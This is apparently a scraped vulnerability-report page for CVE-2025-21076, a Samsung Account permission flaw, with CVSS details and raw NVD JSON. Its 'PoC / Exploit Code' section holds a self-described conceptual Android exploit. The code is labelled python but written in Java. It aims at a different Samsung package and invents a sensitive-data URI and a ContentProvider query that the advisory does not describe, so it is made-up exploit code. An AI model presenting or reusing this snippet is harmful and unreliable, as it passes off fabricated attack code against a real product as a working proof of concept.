Security Vulnerability Report
中文
CVE-2025-21076 CVSS 5.5 MEDIUM

CVE-2025-21076

Published: 2025-11-05 06:15:34
Last Modified: 2025-11-07 13:02:26

Description

Improper handling of insufficient permissions or privileges in Samsung Account prior to version 15.5.00.18 allows local attackers to access data in Samsung Account. User interaction is required for triggering this vulnerability.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:samsung:account:*:*:*:*:*:*:*:* - VULNERABLE
Samsung Account < 15.5.00.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-21076 PoC - Samsung Account权限绕过数据访问 // This is a conceptual proof of concept demonstrating the attack vector // Actual exploitation requires specific device and user interaction // Step 1: Create a malicious component to trigger the vulnerability Intent maliciousIntent = new Intent(); maliciousIntent.setComponent(new ComponentName( "com.sec.android.app.samsungapps", // Samsung Account package "com.samsung.android.account.ui.MainActivity" )); // Step 2: Craft intent with specific flags to bypass permission check maliciousIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TOP); // Step 3: Add data URI to trigger vulnerable code path maliciousIntent.setData(Uri.parse("samsungapps://account/data?type=sensitive")); // Step 4: Trigger the vulnerability through user interaction startActivity(maliciousIntent); // Step 5: Extract accessed data through exported ContentProvider ContentResolver resolver = getContentResolver(); Cursor cursor = resolver.query( Uri.parse("content://com.sec.android.app.samsungapps.provider/account_info"), null, null, null, null ); // Note: This PoC is conceptual. Actual exploitation requires: // - Target device with vulnerable Samsung Account version < 15.5.00.18 // - User interaction (clicking/launching the malicious app) // - Specific trigger conditions based on Samsung Account implementation

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-21076", "sourceIdentifier": "[email protected]", "published": "2025-11-05T06:15:33.840", "lastModified": "2025-11-07T13:02:25.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper handling of insufficient permissions or privileges in Samsung Account prior to version 15.5.00.18 allows local attackers to access data in Samsung Account. User interaction is required for triggering this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:account:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.5.00.18", "matchCriteriaId": "38E3517C-4D65-4F58-9B99-B13997C9BC8A"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=11", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}